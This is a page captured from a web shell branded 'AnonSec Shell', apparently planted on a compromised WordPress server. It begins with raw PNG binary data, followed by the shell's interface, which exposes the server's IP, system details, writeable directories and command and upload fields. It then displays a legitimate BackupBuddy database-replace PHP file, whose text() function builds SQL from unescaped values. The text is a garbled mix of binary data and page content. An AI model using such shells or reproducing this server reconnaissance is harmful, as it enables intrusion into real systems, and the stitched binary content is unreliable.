‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/lib/dbreplace/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/lib/dbreplace/dbreplace.php
<?php
/**
 *	pluginbuddy_dbreplace Class
 *
 *	Handles replacement of data in a table/database, text or serialized. A database connection should be initialized before instantiation.
 *	
 *	@since 1.0.0
 *	@author Dustin Bolton
 *
 *	@param		$status_callback		object		Optional object containing the status() function for reporting back information.
 *	@return		null
 *
 */
if (!class_exists("pluginbuddy_dbreplace")) {
	class pluginbuddy_dbreplace {
		var $_version = '1.0';
		
		var $startTime;
		var $timeWiggleRoom;
		var $maxExecutionTime;
		
		const MAX_ROWS_PER_SELECT = 500;
		
		
		/**
		 *	__construct()
		 *	
		 *	Default constructor. Sets up optional status() function class if applicable.
		 *	
		 *	@param		reference	&$status_callback		[optional] Reference to the class containing the status() function for status updates.
		 *	@return		null
		 *
		 */
		function __construct( $startTime = '', $timeWiggleRoom = 1, $maxExecutionTime = 30 ) {
			if ( '' == $startTime ) {
				$this->startTime = microtime( true );
			} else {
				$this->startTime = $startTime;
			}
			$this->timeWiggleRoom = $timeWiggleRoom;
			$this->maxExecutionTime = $maxExecutionTime;
		}
		
		
		
		/**
		 *	text()
		 *	
		 *	Replaces text within a table by specifying the table, rows to replace within and the old and new value(s).
		 *	
		 *	@param		string		$table		Table to replace text in.
		 *	@param		mixed		$olds		Old value(s) to find for replacement. May be a string or array of values.
		 *	@param		mixed		$news		New value(s) to be replaced with. May be a string or array. If array there must be the same number of values as $olds.
		 *	@param		mixed		$rows		Table row(s) to replace within. May be an array of tables.
		 *	@return		null
		 *
		 */
		public function text( $table, $olds, $news, $rows ) {
			$rows_sql = array();
			
			if ( !is_array( $olds ) ) {
				$olds = array( $olds );
			}
			if ( !is_array( $news ) ) {
				$news = array( $news );
			}
			if ( !is_array( $rows ) ) {
				$rows = array( $rows );
			}
			
			// Prevent trying to replace data with the same data for performance.
			$this->remove_matching_array_elements( $olds, $news );
			
			foreach ( $rows as $row ) {
				$i = 0;
				foreach ( $olds as $old ) {
					$rows_sql[] = $row . " = replace( {$row}, '{$old}', '{$news[$i]}')";
					$i++;
				}
			}
			
			global $wpdb;
			$wpdb->query( "UPDATE `{$table}` SET " . implode( ',', $rows_sql ) . ";" );
			
			return true;
			
		} // End text().
		
		
		/**
		 *	serialized()
		 *	
		 *	Replaces serialized text within a table by specifying the table, rows to replace within and the old and new value(s).
		 *	
		 *	@param		string		$table		Table to replace text in.
		 *	@param		mixed		$olds		Old value(s) to find for replacement. May be a string or array of values.
		 *	@param		mixed		$news		New value(s) to be replaced with. May be a string or array. If array there must be the same number of values as $olds.
		 *	@param		mixed		$rows		Table row(s) to replace within. May be an array of tables.
		 *	@param		int			$rows_start	Row to start at. Used for resuming.
		 *	@return		null
		 *
		 */
		public function serialized( $table, $olds, $news, $rows, $rows_start = '' ) {
			if ( !is_array( $olds ) ) {
				$olds = array( $olds );
			}
			if ( !is_array( $news ) ) {
				$news = array( $news );
			}
			if ( !is_array( $rows ) ) {
				$rows = array( $rows );
			}
			
			global $wpdb;
			
			// Get the total row count for this table
			$total_rows = 0;
			$tables_status = $wpdb->get_results( "SHOW TABLE STATUS", ARRAY_A );
			
			foreach ( $tables_status as $table_status ) {
			
				if ( $table === $table_status[ 'Name' ] ) {
				
					// Fix up row count and average row length for InnoDB engine which returns inaccurate
					// (and changing) values for these
					if ( 'InnoDB' === $table_status[ 'Engine' ] ) {
						if ( false !== ( $count = $wpdb->get_var( "SELECT COUNT(1) FROM `{$table_status['Name']}`" ) ) ) {
							$table_status[ 'Rows' ] = $count;
						}
					}
			
					$total_rows = $table_status[ 'Rows' ];
				
				}
			
			}
			
			// Prevent trying to replace data with the same data for performance.
			$this->remove_matching_array_elements( $olds, $news );
			$key_results = $wpdb->get_results( "SHOW KEYS FROM `{$table}` WHERE Key_name='PRIMARY';", ARRAY_A );
			if ( $key_results === false ) {
				pb_backupbuddy::status( 'details', 'Table `' . $table . '` does not exist; skipping migration of this table.' );
				return;
			}
			
			// No primary key found; unsafe to edit this table. @since 2.2.32.
			if ( count( $key_results ) == 0 ) {
				pb_backupbuddy::status( 'message', 'Error #9029: Warning only! Table `'.  $table .'` does not contain a primary key; BackupBuddy cannot safely modify the contents of this table. Skipping migration of this table. (serialized()).' );
				return true;
			}
			
			$primary_key = $key_results[0]['Column_name'];
			unset( $key_result );
			
			$updated = false; // Was something in DB updated?
			$rows_remain = true; // More rows remaining / aka another query for more rows needed.
			if ( '' == $rows_start ) {
				$rows_start = 0;
			}
			pb_backupbuddy::status( 'details', 'Finding rows in table `' . $table . '` to update.' );
			while ( true === $rows_remain ) { // Keep looping through rows until none remain. Looping through like this to limit memory usage as wpdb classes loads all results into memory.
				$rowsResult = $wpdb->get_results( "SELECT `" . implode( '`,`', $rows ) . "`,`{$primary_key}` FROM `{$table}` LIMIT " . $rows_start . ',' . self::MAX_ROWS_PER_SELECT );
				$rowsCount = count( $rowsResult );

				// Provide an update on progress
				if ( 0 === $rowsCount ) {
					pb_backupbuddy::status( 'details', 'Table: `'. $table . '` - processing ' . $rowsCount . ' rows ( of ' . $total_rows . ' )' );				
				} else {
					pb_backupbuddy::status( 'details', 'Table: `'. $table . '` - processing ' . $rowsCount . ' rows ( Rows ' . $rows_start . '-' . ( $rows_start + $rowsCount - 1 ) . ' of ' . $total_rows . ' )' );	
				}
				
				$rows_start += self::MAX_ROWS_PER_SELECT; // Next loop we will begin at this offset.
				if ( ( 0 == $rowsCount ) || ( $rowsCount < self::MAX_ROWS_PER_SELECT ) ) {
					$rows_remain = false;
				}
				
				foreach( $rowsResult as $row ) {
					$needs_update = false;
					$sql_update = array();
					
					foreach( $row as $column => $value ) {
						if ( $column != $primary_key ) {
							if ( false !== ( $edited_data = $this->replace_maybe_serialized( $value, $olds, $news ) ) ) { // Data changed.
								$needs_update = true;
								$sql_update[] = $column . "= '" . backupbuddy_core::dbEscape( $edited_data ) . "'";
							}
						} else {
							$primary_key_value = $value;
						}
					}
					
					if ( $needs_update === true ) {
						$updated = true;
						$wpdb->query( "UPDATE `{$table}` SET " . implode( ',', $sql_update ) . " WHERE `{$primary_key}` = '{$primary_key_value}' LIMIT 1" );
					}
				}
				unset( $rowsResult );
				
				// See how we are doing on time. Trigger chunking if needed.
				if ( ( ( microtime( true ) - $this->startTime ) + $this->timeWiggleRoom ) >= $this->maxExecutionTime ) {
					return array( $rows_start );
				}
			}
			
			if ( $updated === true ) {
				pb_backupbuddy::status( 'details', 'Updated serialized data in table `' . $table . '`.' );
			} else {
				pb_backupbuddy::status( 'details', 'Nothing found to update in table `' . $table . '`.' );
			}
			return true;
		} // End serialized().
		
		
		/**
		 *	replace_maybe_serialized()
		 *	
		 *	Replaces possibly serialized (or non-serialized) text if a change is needed. Returns false if there was no change.
		 *  Note: As of BB v3.2.x supports double serialized data.
		 *	
		 *	@param		string		$table		Text (possibly serialized) to update.
		 *	@param		mixed		$olds		Text to search for to replace. May be an array of strings to search for.
		 *	@param		mixed		$news		New value(s) to be replaced with. May be a string or array. If array there must be the same number of values as $olds.
		 *	@return		mixed					Returns modified string data if serialized data was replaced. False if no change was made.
		 *
		 */
		function replace_maybe_serialized( $data, $olds, $news ) {
			if ( !is_array( $olds ) ) {
				$olds = array( $olds );
			}
			if ( !is_array( $news ) ) {
				$news = array( $news );
			}
			
			$type = '';
			$unserialized = false; // first assume not serialized data
			if ( is_serialized( $data ) ) { // check if this is serialized data
				$unserialized = @unserialize( $data ); // unserialise - if false is returned we won't try to process it as serialised.
			}
			if ( $unserialized !== false ) { // Serialized data.
				$type = 'serialized';
				
				$double_serialized = false;
				if ( is_serialized( $unserialized ) ) { // double-serialized data (opposite of a double rainbow). Some plugins seem to double-serialize for some unknown wacky reason...
					$unserialized = @unserialize( $unserialized ); // unserialise - if false is returned we won't try to process it as serialised.
					$double_serialized = true;
				}
				
				$i = 0;
				foreach ( $olds as $old ) {
					$this->recursive_array_replace( $old, $news[$i], $unserialized );
					$i++;
				}
				
				$edited_data = serialize( $unserialized );
				if ( true === $double_serialized ) {
					$edited_data = serialize( $edited_data );
				}
				
			}	else { // Non-serialized data.
				$type = 'text';
				$edited_data = $data;
				$i = 0;
				foreach ( $olds as $old ) {
					$edited_data =str_ireplace( $old, $news[$i], $edited_data );
					$i++;
				}
			}
			
			// Return the results.
			if ( $data != $edited_data ) {
				return $edited_data;
			} else {
				return false;
			}
		} // End replace_maybe_serialized().
		
		
		/**
		 *	bruteforce_table()
		 *
		 *	!!! HANDLES SERIALIZED DATA !!!!
		 *	Replaces text, serialized or not, within the entire table. Bruteforce method iterates through every row & column in the entire table and replaces if needed.
		 *	
		 *	@param		string		$table		Text (possibly serialized) to update.
		 *	@param		mixed		$olds		Text to search for to replace. May be an array of strings to search for.
		 *	@param		mixed		$news		New value(s) to be replaced with. May be a string or array. If array there must be the same number of values as $olds.
		 *	@return		int						Number of rows changed.
		 *
		 */
		function bruteforce_table( $table, $olds, $news, $rows_start = '' ) {
			pb_backupbuddy::status( 'message', 'Starting brute force data migration for table `' . $table . '`...' );
			if ( !is_array( $olds ) ) {
				$olds = array( $olds );
			}
			if ( !is_array( $news ) ) {
				$news = array( $news );
			}
			
			$count_items_checked = 0;
			$count_items_changed = 0;
			
			global $wpdb;
			
			// Get the total row count for this table
			$total_rows = 0;
			$tables_status = $wpdb->get_results( "SHOW TABLE STATUS", ARRAY_A );
			
			foreach ( $tables_status as $table_status ) {
			
				if ( $table === $table_status[ 'Name' ] ) {
				
					// Fix up row count and average row length for InnoDB engine which returns inaccurate
					// (and changing) values for these
					if ( 'InnoDB' === $table_status[ 'Engine' ] ) {
						if ( false !== ( $count = $wpdb->get_var( "SELECT COUNT(1) FROM `{$table_status['Name']}`" ) ) ) {
							$table_status[ 'Rows' ] = $count;
						}
					}
			
					$total_rows = $table_status[ 'Rows' ];
				
				}
			
			}
			
			$fields = $wpdb->get_results( "DESCRIBE `{$table}`", ARRAY_A );
			$column_name = array();
			$table_index = array();
			$i = 0;
			
			$found_primary_key = false;
			
			foreach( $fields as $field ) {
				$column_name[$i++] = $field['Field'];
				if ( $field['Key'] == 'PRI' ) {
					$table_index[$i] = true;
					$found_primary_key = true;
				}
			}
			
			// Skips migration of this table if there is no primary key. Modifying on any other key is not safe. mysql automatically returns a PRIMARY if a UNIQUE non-primary is found according to http://dev.mysql.com/doc/refman/5.1/en/create-table.html  @since 2.2.32.
			if ( $found_primary_key === false ) {
				pb_backupbuddy::status( 'warning', 'Error #9029b: Warning only! Table `' . $table . '` does not contain a primary key; BackupBuddy cannot safely modify the contents of this table. Skipping migration of this table. (bruteforce_table()).' );
				return true;
			}
			
			$row_loop = 0;

			$rows_remain = true; // More rows remaining / aka another query for more rows needed.
			if ( '' == $rows_start ) {
				$rows_start = 0;
			}

			while ( true === $rows_remain ) { // Keep looping through rows until none remain. Looping through like this to limit memory usage as wpdb classes loads all results into memory.

				$data = $wpdb->get_results( "SELECT * FROM `{$table}` LIMIT {$rows_start}," . self::MAX_ROWS_PER_SELECT, ARRAY_A );
				if ( false === $data ) {
					pb_backupbuddy::status( 'error', 'ERROR #44545343 ... SQL ERROR: ' . $wpdb->last_error );
				}
				
				// Provide an update on progress
				$rowsCount = count( $data );
				if ( 0 === $rowsCount ) {
					pb_backupbuddy::status( 'details', 'Table: `'. $table . '` - processing ' . $rowsCount . ' rows ( of ' . $total_rows . ' )' );				
				} else {
					pb_backupbuddy::status( 'details', 'Table: `'. $table . '` - processing ' . $rowsCount . ' rows ( Rows ' . $rows_start . '-' . ( $rows_start + $rowsCount - 1 ) . ' of ' . $total_rows . ' )' );	
				}
				
				$rows_start += self::MAX_ROWS_PER_SELECT; // Next loop we will begin at this offset.
				if ( ( 0 == $rowsCount ) || ( $rowsCount < self::MAX_ROWS_PER_SELECT ) ) {
					$rows_remain = false;
				}
		
				foreach( $data as $row ) {
					$need_to_update = false;
					$UPDATE_SQL = 'UPDATE `' . $table . '` SET ';
					$WHERE_SQL = ' WHERE ';
				
					$j = 0;
					foreach ( $column_name as $current_column ) {
						$j++;
						$count_items_checked++;
					
						$data_to_fix = $row[$current_column];
						if ( false !== ( $edited_data = $this->replace_maybe_serialized( $data_to_fix, $olds, $news ) ) ) { // no change needed
							$count_items_changed++;
							if ( $need_to_update != false ) { // If this isn't our first time here, we need to add a comma.
								$UPDATE_SQL = $UPDATE_SQL . ',';
							}
							$UPDATE_SQL = $UPDATE_SQL . ' ' . $current_column . ' = "' . backupbuddy_core::dbEscape( $edited_data ) . '"';
							$need_to_update = true; // Only set if we need to update - avoids wasted UPDATE statements.
						}
					
						if ( isset( $table_index[$j] ) ) {
							$WHERE_SQL = $WHERE_SQL . '`' . $current_column . '` = "' . backupbuddy_core::dbEscape( $row[$current_column] ) . '" AND ';
						}
					}
				
					if ( $need_to_update ) {
						$WHERE_SQL = substr( $WHERE_SQL , 0, -4 ); // Strip off the excess AND - the easiest way to code this without extra flags, etc.
						$UPDATE_SQL = $UPDATE_SQL . $WHERE_SQL;
						$result = $wpdb->query( $UPDATE_SQL );
						if ( false === $result ) {
							if ( ! empty( $wpdb->use_mysqli ) ) {
								$mysql_error = mysqli_error( $wpdb->dbh );
							} else {
								$mysql_error = mysql_error( $wpdb->dbh );
							}
							pb_backupbuddy::status( 'error', 'ERROR: mysql error updating db: ' . $mysql_error . '. SQL Query: ' . htmlentities( $UPDATE_SQL ) );
						} 
					}
					
				}

				unset( $data );

				// See how we are doing on time. Trigger chunking if needed.
				if ( ( ( microtime( true ) - $this->startTime ) + $this->timeWiggleRoom ) >= $this->maxExecutionTime ) {
					return array( $rows_start );
				}
			}
			
			pb_backupbuddy::status( 'message', 'Brute force data migration for table `' . $table . '` complete. Checked ' . $count_items_checked . ' items; ' . $count_items_changed . ' changed.' );
			
			return true;
		} // End bruteforce_table().
		
		
		/**
		 *	recursive_array_replace()
		 *	
		 *	Recursively replace text in an array, stepping through arrays/objects within arrays/objects as needed.
		 *	
		 *	@param		string		$find		Text to find.
		 *	@param		string		$replace	Text to replace found text with.
		 *	@param		reference	&$data		Pass the variable to change the data within.
		 *	@return		boolean					Always true currently.
		 *
		 */
		public function recursive_array_replace( $find, $replace, &$data ) {
			if ( is_array( $data ) ) {
				foreach ( $data as $key => $value ) {
					// ARRAYS
					if ( is_array( $value ) ) {
						$this->recursive_array_replace( $find, $replace, $data[$key] );
						
					// STRINGS
					} elseif ( is_string( $value ) ) {
						$data[$key] = str_replace( $find, $replace, $value );
					
					// OBJECTS
					} elseif ( is_object( $value ) ) {
						//error_log( var_export( $data[$key], true ) );
						$this->recursive_object_replace( $find, $replace, $data[$key] );
						//error_log( var_export( $data[$key], true ) );
					}
				}
			} elseif ( is_string( $data ) ) {
				$data = str_replace( $find, $replace, $data );
			} elseif ( is_object( $data ) ) {
				$this->recursive_object_replace( $find, $replace, $data );
			}
		}
		
		
		/**
		 *	recursive_object_replace()
		 *	
		 *	Recursively replace text in an object, stepping through objects/arrays within objects/arrays as needed.
		 *	
		 *	@param		string		$find		Text to find.
		 *	@param		string		$replace	Text to replace found text with.
		 *	@param		reference	&$data		Pass the variable to change the data within.
		 *	@return		boolean					Always true currently.
		 *
		 */
		public function recursive_object_replace( $find, $replace, &$data ) {
			if ( is_object( $data ) ) {
				$vars = get_object_vars( $data );
				foreach( $vars as $key => $var ) {
					// ARRAYS
					if ( is_array( $data->{$key} ) ) {
						$this->recursive_array_replace( $find, $replace, $data->{$key} );
					// OBJECTS
					} elseif ( is_object( $data->{$key} ) ) {
						$this->recursive_object_replace( $find, $replace, $data->{$key} );
					// STRINGS
					} elseif ( is_string( $data->{$key} ) ) {
						$data->{$key} = str_replace( $find, $replace, $data->{$key} );
					}
				}
			} elseif ( is_string( $data ) ) {
				$data = str_replace( $find, $replace, $data );
			} elseif ( is_array( $data ) ) {
				$this->recursive_array_replace( $find, $replace, $data );
			}
		} // End recursive_object_replace().
		
		
		/**
		 * Check value to find if it was serialized.
		 *
		 * If $data is not an string, then returned value will always be false.
		 * Serialized data is always a string.
		 *
		 * Courtesy WordPress; since WordPress 2.0.5.
		 *
		 * @param mixed $data Value to check to see if was serialized.
		 * @return bool False if not serialized and true if it was.
		 */
		function is_serialized( $data ) {
			// if it isn't a string, it isn't serialized
			if ( ! is_string( $data ) )
				return false;
			$data = trim( $data );
		 	if ( 'N;' == $data )
				return true;
			$length = strlen( $data );
			if ( $length < 4 )
				return false;
			if ( ':' !== $data[1] )
				return false;
			$lastc = $data[$length-1];
			if ( ';' !== $lastc && '}' !== $lastc )
				return false;
			$token = $data[0];
			switch ( $token ) {
				case 's' :
					if ( '"' !== $data[$length-2] )
						return false;
				case 'a' :
				case 'O' :
					return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
				case 'b' :
				case 'i' :
				case 'd' :
					return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data );
			}
			return false;
		}
		
		
		/**
		 *	remove_matching_array_elements()
		 *	
		 *	Removes identical elements (same index and value) from both arrays where they match.
		 *
		 *	Ex:
		 *		// Before:
		 *		$a = array( 'apple', 'banana', 'carrot' );
		 *		$b = array( 'apple', 'beef', 'cucumber' );
		 *		remove_matching_array_elements( $a, $b );
		 *		// After:
		 *		$a = array( 'banana', 'carrot' );
		 *		$b = array( 'beef', 'cucumber' );
		 *	
		 *	@param		array		&$a		First array to compare with second. (reference)
		 *	@param		array		&$b		Second array to compare with first. (reference)
		 *	@return		null				Arrays passed are updated as they are passed by reference.
		 *
		 */
		function remove_matching_array_elements( &$a, &$b ) {
			$sizeof = sizeof( $a );
			for( $i=0; $i < $sizeof; $i++ ) {
				if ( $a[$i] == $b[$i] ) {
					unset( $a[$i] );
					unset( $b[$i] );
				}
			}
			
			$a = array_merge( $a ); // Reset numbering of keys.
			$b = array_merge( $b ); // Reset numbering of keys.
		}
		
		
	} // end pluginbuddy_dbreplace class.
}
?>

Anon7 - 2022
AnonSec Team